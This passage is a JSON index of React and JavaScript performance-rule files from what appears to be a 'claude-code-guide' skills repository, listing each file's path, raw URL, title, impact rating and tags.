Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2F_sections.md -->","isInternal":false,"tokens":318,"sizeBytes":1538},{"name":"_template.md","path":"skills/react-best-practices/rules/_template.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/react-best-practices/rules/_template.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2F_template.md -->","frontmatter":{"title":"Rule Title Here","impact":"MEDIUM","impactDescription":"Optional description of impact (e.g., \"20-50% improvement\")","tags":"tag1, tag2"},"isInternal":false,"tokens":143,"sizeBytes":631},{"name":"advanced-event-handler-refs.md","path":"skills/react-best-practices/rules/advanced-event-handler-refs.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/react-best-practices/rules/advanced-event-handler-refs.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fadvanced-event-handler-refs.md -->","frontmatter":{"title":"Store Event Handlers in Refs","impact":"LOW","impactDescription":"stable subscriptions","tags":"advanced, hooks, refs, event-handlers, optimization"},"isInternal":false,"tokens":337,"sizeBytes":1483},{"name":"advanced-init-once.md","path":"skills/react-best-practices/rules/advanced-init-once.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/react-best-practices/rules/advanced-init-once.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fadvanced-init-once.md -->","frontmatter":{"title":"Initialize App Once, Not Per Mount","impact":"LOW-MEDIUM","impactDescription":"avoids duplicate init in development","tags":"initialization, useEffect, app-startup, side-effects"},"isInternal":false,"tokens":230,"sizeBytes":958},{"name":"advanced-use-latest.md","path":"skills/react-best-practices/rules/advanced-use-latest.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/react-best-practices/rules/advanced-use-latest.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fadvanced-use-latest.md -->","frontmatter":{"title":"useEffectEvent for Stable Callback Refs","impact":"LOW","impactDescription":"prevents effect re-runs","tags":"advanced, hooks, useEffectEvent, refs, optimization"},"isInternal":false,"tokens":254,"sizeBytes":1071},{"name":"async-api-routes.md","path":"skills/react-best-practices/rules/async-api-routes.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/react-best-practices/rules/async-api-routes.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fasync-api-routes.md -->","frontmatter":{"title":"Prevent Waterfall Chains in API Routes","impact":"CRITICAL","impactDescription":"2-10× improvement","tags":"api-routes, server-actions, waterfalls, parallelization"},"isInternal":false,"tokens":237,"sizeBytes":1113},{"name":"async-defer-await.md","path":"skills/react-best-practices/rules/async-defer-await.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/react-best-practices/rules/async-defer-await.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fasync-defer-await.md -->","frontmatter":{"title":"Defer Await Until Needed","impact":"HIGH","impactDescription":"avoids blocking unused code paths","tags":"async, await, conditional, optimization"},"isInternal":false,"tokens":427,"sizeBytes":2008},{"name":"async-dependencies.md","path":"skills/react-best-practices/rules/async-dependencies.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/react-best-practices/rules/async-dependencies.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fasync-dependencies.md -->","frontmatter":{"title":"Dependency-Based Parallelization","impact":"CRITICAL","impactDescription":"2-10× improvement","tags":"async, parallelization, dependencies, better-all"},"isInternal":false,"tokens":290,"sizeBytes":1294},{"name":"async-parallel.md","path":"skills/react-best-practices/rules/async-parallel.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/react-best-practices/rules/async-parallel.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fasync-parallel.md -->","frontmatter":{"title":"Promise.all() for Independent Operations","impact":"CRITICAL","impactDescription":"2-10× improvement","tags":"async, parallelization, promises, waterfalls"},"isInternal":false,"tokens":140,"sizeBytes":646},{"name":"async-suspense-boundaries.md","path":"skills/react-best-practices/rules/async-suspense-boundaries.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/react-best-practices/rules/async-suspense-boundaries.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fasync-suspense-boundaries.md -->","frontmatter":{"title":"Strategic Suspense Boundaries","impact":"HIGH","impactDescription":"faster initial paint","tags":"async, suspense, streaming, layout-shift"},"isInternal":false,"tokens":590,"sizeBytes":2506},{"name":"bundle-barrel-imports.md","path":"skills/react-best-practices/rules/bundle-barrel-imports.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/react-best-practices/rules/bundle-barrel-imports.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fbundle-barrel-imports.md -->","frontmatter":{"title":"Avoid Barrel File Imports","impact":"CRITICAL","impactDescription":"200-800ms import cost, slow builds","tags":"bundle, imports, tree-shaking, barrel-files, performance"},"isInternal":false,"tokens":595,"sizeBytes":2372},{"name":"bundle-conditional.md","path":"skills/react-best-practices/rules/bundle-conditional.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/react-best-practices/rules/bundle-conditional.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fbundle-conditional.md -->","frontmatter":{"title":"Conditional Module Loading","impact":"HIGH","impactDescription":"loads large data only when needed","tags":"bundle, conditional-loading, lazy-loading"},"isInternal":false,"tokens":220,"sizeBytes":959},{"name":"bundle-defer-third-party.md","path":"skills/react-best-practices/rules/bundle-defer-third-party.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/react-best-practices/rules/bundle-defer-third-party.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fbundle-defer-third-party.md -->","frontmatter":{"title":"Defer Non-Critical Third-Party Libraries","impact":"MEDIUM","impactDescription":"loads after hydration","tags":"bundle, third-party, analytics, defer"},"isInternal":false,"tokens":221,"sizeBytes":919},{"name":"bundle-dynamic-imports.md","path":"skills/react-best-practices/rules/bundle-dynamic-imports.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/react-best-practices/rules/bundle-dynamic-imports.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fbundle-dynamic-imports.md -->","frontmatter":{"title":"Dynamic Imports for Heavy Components","impact":"CRITICAL","impactDescription":"directly affects TTI and LCP","tags":"bundle, dynamic-import, code-splitting, next-dynamic"},"isInternal":false,"tokens":197,"sizeBytes":790},{"name":"bundle-preload.md","path":"skills/react-best-practices/rules/bundle-preload.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/react-best-practices/rules/bundle-preload.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fbundle-preload.md -->","frontmatter":{"title":"Preload Based on User Intent","impact":"MEDIUM","impactDescription":"reduces perceived latency","tags":"bundle, preload, user-intent, hover"},"isInternal":false,"tokens":259,"sizeBytes":1120},{"name":"client-event-listeners.md","path":"skills/react-best-practices/rules/client-event-listeners.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/react-best-practices/rules/client-event-listeners.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fclient-event-listeners.md -->","frontmatter":{"title":"Deduplicate Global Event Listeners","impact":"LOW","impactDescription":"single listener for N components","tags":"client, swr, event-listeners, subscription"},"isInternal":false,"tokens":471,"sizeBytes":1982},{"name":"client-localstorage-schema.md","path":"skills/react-best-practices/rules/client-localstorage-schema.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/react-best-practices/rules/client-localstorage-schema.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fclient-localstorage-schema.md -->","frontmatter":{"title":"Version and Minimize localStorage Data","impact":"MEDIUM","impactDescription":"prevents schema conflicts, reduces storage size","tags":"client, localStorage, storage, versioning, data-minimization"},"isInternal":false,"tokens":442,"sizeBytes":1975},{"name":"client-passive-event-listeners.md","path":"skills/react-best-practices/rules/client-passive-event-listeners.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/react-best-practices/rules/client-passive-event-listeners.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fclient-passive-event-listeners.md -->","frontmatter":{"title":"Use Passive Event Listeners for Scrolling Performance","impact":"MEDIUM","impactDescription":"eliminates scroll delay caused by event listeners","tags":"client, event-listeners, scrolling, performance, touch, wheel"},"isInternal":false,"tokens":357,"sizeBytes":1636},{"name":"client-swr-dedup.md","path":"skills/react-best-practices/rules/client-swr-dedup.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/react-best-practices/rules/client-swr-dedup.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fclient-swr-dedup.md -->","frontmatter":{"title":"Use SWR for Automatic Deduplication","impact":"MEDIUM-HIGH","impactDescription":"automatic deduplication","tags":"client, swr, deduplication, data-fetching"},"isInternal":false,"tokens":310,"sizeBytes":1161},{"name":"js-batch-dom-css.md","path":"skills/react-best-practices/rules/js-batch-dom-css.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/react-best-practices/rules/js-batch-dom-css.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fjs-batch-dom-css.md -->","frontmatter":{"title":"Avoid Layout Thrashing","impact":"MEDIUM","impactDescription":"prevents forced synchronous layouts and reduces performance bottlenecks","tags":"javascript, dom, css, performance, reflow, layout-thrashing"},"isInternal":false,"tokens":744,"sizeBytes":3239},{"name":"js-cache-function-results.md","path":"skills/react-best-practices/rules/js-cache-function-results.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/react-best-practices/rules/js-cache-function-results.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fjs-cache-function-results.md -->","frontmatter":{"title":"Cache Repeated Function Calls","impact":"MEDIUM","impactDescription":"avoid redundant computation","tags":"javascript, cache, memoization, performance"},"isInternal":false,"tokens":445,"sizeBytes":1931},{"name":"js-cache-property-access.md","path":"skills/react-best-practices/rules/js-cache-property-access.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/react-best-practices/rules/js-cache-property-access.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fjs-cache-property-access.md -->","frontmatter":{"title":"Cache Property Access in Loops","impact":"LOW-MEDIUM","impactDescription":"reduces lookups","tags":"javascript, loops, optimization, caching"},"isInternal":false,"tokens":138,"sizeBytes":532},{"name":"js-cache-storage.md","path":"skills/react-best-practices/rules/js-cache-storage.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/react-best-practices/rules/js-cache-storage.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fjs-cache-storage.md -->","frontmatter":{"title":"Cache Storage API Calls","impact":"LOW-MEDIUM","impactDescription":"reduces expensive I/O","tags":"javascript, localStorage, storage, caching, performance"},"isInternal":false,"tokens":374,"sizeBytes":1640},{"name":"js-combine-iterations.md","path":"skills/react-best-practices/rules/js-combine-iterations.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/react-best-practices/rules/js-combine-iterations.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fjs-combine-iterations.md -->","frontmatter":{"title":"Combine Multiple Array Iterations","impact":"LOW-MEDIUM","impactDescription":"reduces iterations","tags":"javascript, arrays, loops, performance"},"isInternal":false,"tokens":182,"sizeBytes":759},{"name":"js-early-exit.md","path":"skills/react-best-practices/rules/js-early-exit.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/react-best-practices/rules/js-early-exit.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fjs-early-exit.md -->","frontmatter":{"title":"Early Return from Functions","impact":"LOW-MEDIUM","impactDescription":"avoids unnecessary computation","tags":"javascript, functions, optimization, early-return"},"isInternal":false,"tokens":264,"sizeBytes":1129},{"name":"js-hoist-regexp.md","path":"skills/react-best-practices/rules/js-hoist-regexp.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/react-best-practices/rules/js-hoist-regexp.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fjs-hoist-regexp.md -->","frontmatter":{"title":"Hoist RegExp Creation","impact":"LOW-MEDIUM","impactDescription":"avoids recreation","tags":"javascript, regexp, optimization, memoization"},"isInternal":false,"tokens":281,"sizeBytes":1026},{"name":"js-index-maps.md","path":"skills/react-best-practices/rules/js-index-maps.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/react-best-practices/rules/js-index-maps.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fjs-index-maps.md -->","frontmatter":{"title":"Build Index Maps for Repeated Lookups","impact":"LOW-MEDIUM","impactDescription":"1M ops to 2K ops","tags":"javascript, map, indexing, optimization, performance"},"isInternal":false,"tokens":237,"sizeBytes":847},{"name":"js-length-check-first.md","path":"skills/react-best-practices/rules/js-length-check-first.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/react-best-practices/rules/js-length-check-first.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fjs-length-check-first.md -->","frontmatter":{"title":"Early Length Check for Array Comparisons","impact":"MEDIUM-HIGH","impactDescription":"avoids expensive operations when lengths differ","tags":"javascript, arrays, performance, optimization, comparison"},"isInternal":false,"tokens":373,"sizeBytes":1748},{"name":"js-min-max-loop.md","path":"skills/react-best-practices/rules/js-min-max-loop.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/react-best-practices/rules/js-min-max-loop.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fjs-min-max-loop.md -->","frontmatter":{"title":"Use Loop for Min/Max Instead of Sort","impact":"LOW","impactDescription":"O(n) instead of O(n log n)","tags":"javascript, arrays, performance, sorting, algorithms"},"isInternal":false,"tokens":597,"sizeBytes":2278},{"name":"js-set-map-lookups.md","path":"skills/react-best-practices/rules/js-set-map-lookups.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/react-best-practices/rules/js-set-map-lookups.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fjs-set-map-lookups.md -->","frontmatter":{"title":"Use Set/Map for O(1) Lookups","impact":"LOW-MEDIUM","impactDescription":"O(n) to O(1)","tags":"javascript, set, map, data-structures, performance"},"isInternal":false,"tokens":154,"sizeBytes":532},{"name":"js-tosorted-immutable.md","path":"skills/react-best-practices/rules/js-tosorted-immutable.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/react-best-practices/rules/js-tosorted-immutable.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Fjs-tosorted-immutable.md -->","frontmatter":{"title":"Use toSorted() Instead of sort() for Immutability","impact":"MEDIUM-HIGH","impactDescription":"prevents mutation bugs in React state","tags":"javascript, arrays, immutability, react, state, mutation"},"isInternal":false,"tokens":436,"sizeBytes":1782},{"name":"rendering-activity.md","path":"skills/react-best-practices/rules/rendering-activity.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/react-best-practices/rules/rendering-activity.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Frendering-activity.md -->","frontmatter":{"title":"Use Activity Component for Show/Hide","impact":"MEDIUM","impactDescription":"preserves state/DOM","tags":"rendering, activity, visibility, state-preservation"},"isInternal":false,"tokens":131,"sizeBytes":564},{"name":"rendering-animate-svg-wrapper.md","path":"skills/react-best-practices/rules/rendering-animate-svg-wrapper.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/react-best-practices/rules/rendering-animate-svg-wrapper.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Frendering-animate-svg-wrapper.md -->","frontmatter":{"title":"Animate SVG Wrapper Instead of SVG Element","impact":"LOW","impactDescription":"enables hardware acceleration","tags":"rendering, svg, css, animation, performance"},"isInternal":false,"tokens":274,"sizeBytes":1119},{"name":"rendering-conditional-render.md","path":"skills/react-best-practices/rules/rendering-conditional-render.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/react-best-practices/rules/rendering-conditional-render.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Frendering-conditional-render.md -->","frontmatter":{"title":"Use Explicit Conditional Rendering","impact":"LOW","impactDescription":"prevents rendering 0 or NaN","tags":"rendering, conditional, jsx, falsy-values"},"isInternal":false,"tokens":257,"sizeBytes":936},{"name":"rendering-content-visibility.md","path":"skills/react-best-practices/rules/rendering-content-visibility.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/react-best-practices/rules/rendering-content-visibility.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Frendering-content-visibility.md -->","frontmatter":{"title":"CSS content-visibility for Long Lists","impact":"HIGH","impactDescription":"faster initial render","tags":"rendering, css, content-visibility, long-lists"},"isInternal":false,"tokens":205,"sizeBytes":817},{"name":"rendering-hoist-jsx.md","path":"skills/react-best-practices/rules/rendering-hoist-jsx.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/react-best-practices/rules/rendering-hoist-jsx.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Frendering-hoist-jsx.md -->","frontmatter":{"title":"Hoist Static JSX Elements","impact":"LOW","impactDescription":"avoids re-creation","tags":"rendering, jsx, static, optimization"},"isInternal":false,"tokens":226,"sizeBytes":989},{"name":"rendering-hydration-no-flicker.md","path":"skills/react-best-practices/rules/rendering-hydration-no-flicker.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/react-best-practices/rules/rendering-hydration-no-flicker.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Frendering-hydration-no-flicker.md -->","frontmatter":{"title":"Prevent Hydration Mismatch Without Flickering","impact":"MEDIUM","impactDescription":"avoids visual flicker and hydration errors","tags":"rendering, ssr, hydration, localStorage, flicker"},"isInternal":false,"tokens":467,"sizeBytes":2242},{"name":"rendering-hydration-suppress-warning.md","path":"skills/react-best-practices/rules/rendering-hydration-suppress-warning.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/react-best-practices/rules/rendering-hydration-suppress-warning.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Frendering-hydration-suppress-warning.md -->","frontmatter":{"title":"Suppress Expected Hydration Mismatches","impact":"LOW-MEDIUM","impactDescription":"avoids noisy hydration warnings for known differences","tags":"rendering, hydration, ssr, nextjs"},"isInternal":false,"tokens":189,"sizeBytes":850},{"name":"rendering-svg-precision.md","path":"skills/react-best-practices/rules/rendering-svg-precision.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/react-best-practices/rules/rendering-svg-precision.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Frendering-svg-precision.md -->","frontmatter":{"title":"Optimize SVG Precision","impact":"LOW","impactDescription":"reduces file size","tags":"rendering, svg, optimization, svgo"},"isInternal":false,"tokens":167,"sizeBytes":588},{"name":"rendering-usetransition-loading.md","path":"skills/react-best-practices/rules/rendering-usetransition-loading.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/react-best-practices/rules/rendering-usetransition-loading.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Frendering-usetransition-loading.md -->","frontmatter":{"title":"Use useTransition Over Manual Loading States","impact":"LOW","impactDescription":"reduces re-renders and improves code clarity","tags":"rendering, transitions, useTransition, loading, state"},"isInternal":false,"tokens":457,"sizeBytes":2070},{"name":"rerender-defer-reads.md","path":"skills/react-best-practices/rules/rerender-defer-reads.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/react-best-practices/rules/rerender-defer-reads.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Frerender-defer-reads.md -->","frontmatter":{"title":"Defer State Reads to Usage Point","impact":"MEDIUM","impactDescription":"avoids unnecessary subscriptions","tags":"rerender, searchParams, localStorage, optimization"},"isInternal":false,"tokens":231,"sizeBytes":973},{"name":"rerender-dependencies.md","path":"skills/react-best-practices/rules/rerender-dependencies.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/react-best-practices/rules/rerender-dependencies.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Frerender-dependencies.md -->","frontmatter":{"title":"Narrow Effect Dependencies","impact":"LOW","impactDescription":"minimizes effect re-runs","tags":"rerender, useEffect, dependencies, optimization"},"isInternal":false,"tokens":214,"sizeBytes":824},{"name":"rerender-derived-state-no-effect.md","path":"skills/react-best-practices/rules/rerender-derived-state-no-effect.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/react-best-practices/rules/rerender-derived-state-no-effect.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Frerender-derived-state-no-effect.md -->","frontmatter":{"title":"Calculate Derived State During Rendering","impact":"MEDIUM","impactDescription":"avoids redundant renders and state drift","tags":"rerender, derived-state, useEffect, state"},"isInternal":false,"tokens":283,"sizeBytes":1201},{"name":"rerender-derived-state.md","path":"skills/react-best-practices/rules/rerender-derived-state.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/react-best-practices/rules/rerender-derived-state.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Frerender-derived-state.md -->","frontmatter":{"title":"Subscribe to Derived State","impact":"MEDIUM","impactDescription":"reduces re-render frequency","tags":"rerender, derived-state, media-query, optimization"},"isInternal":false,"tokens":174,"sizeBytes":727},{"name":"rerender-functional-setstate.md","path":"skills/react-best-practices/rules/rerender-functional-setstate.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/react-best-practices/rules/rerender-functional-setstate.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Frerender-functional-setstate.md -->","frontmatter":{"title":"Use Functional setState Updates","impact":"MEDIUM","impactDescription":"prevents stale closures and unnecessary callback recreations","tags":"react, hooks, useState, useCallback, callbacks, closures"},"isInternal":false,"tokens":660,"sizeBytes":2976},{"name":"rerender-lazy-state-init.md","path":"skills/react-best-practices/rules/rerender-lazy-state-init.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/react-best-practices/rules/rerender-lazy-state-init.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Frerender-lazy-state-init.md -->","frontmatter":{"title":"Use Lazy State Initialization","impact":"MEDIUM","impactDescription":"wasted computation on every render","tags":"react, hooks, useState, performance, initialization"},"isInternal":false,"tokens":432,"sizeBytes":2000},{"name":"rerender-memo-with-default-value.md","path":"skills/react-best-practices/rules/rerender-memo-with-default-value.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/react-best-practices/rules/rerender-memo-with-default-value.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Frerender-memo-with-default-value.md -->","frontmatter":{"title":"Extract Default Non-primitive Parameter Value from Memoized Component to Constant","impact":"MEDIUM","impactDescription":"restores memoization by using a constant for default value","tags":"rerender, memo, optimization"},"isInternal":false,"tokens":248,"sizeBytes":1171},{"name":"rerender-memo.md","path":"skills/react-best-practices/rules/rerender-memo.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/react-best-practices/rules/rerender-memo.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Frerender-memo.md -->","frontmatter":{"title":"Extract to Memoized Components","impact":"MEDIUM","impactDescription":"enables early returns","tags":"rerender, memo, useMemo, optimization"},"isInternal":false,"tokens":278,"sizeBytes":1148},{"name":"rerender-move-effect-to-event.md","path":"skills/react-best-practices/rules/rerender-move-effect-to-event.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/react-best-practices/rules/rerender-move-effect-to-event.md","title":"Rules Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Freact-best-practices%2Frules%2Frerender-move-effect-to-event.md -->","frontmatter":{"title":"Put Interaction Logic in Event Handlers","impact":"MEDIUM","impactDescription":"avoids effect 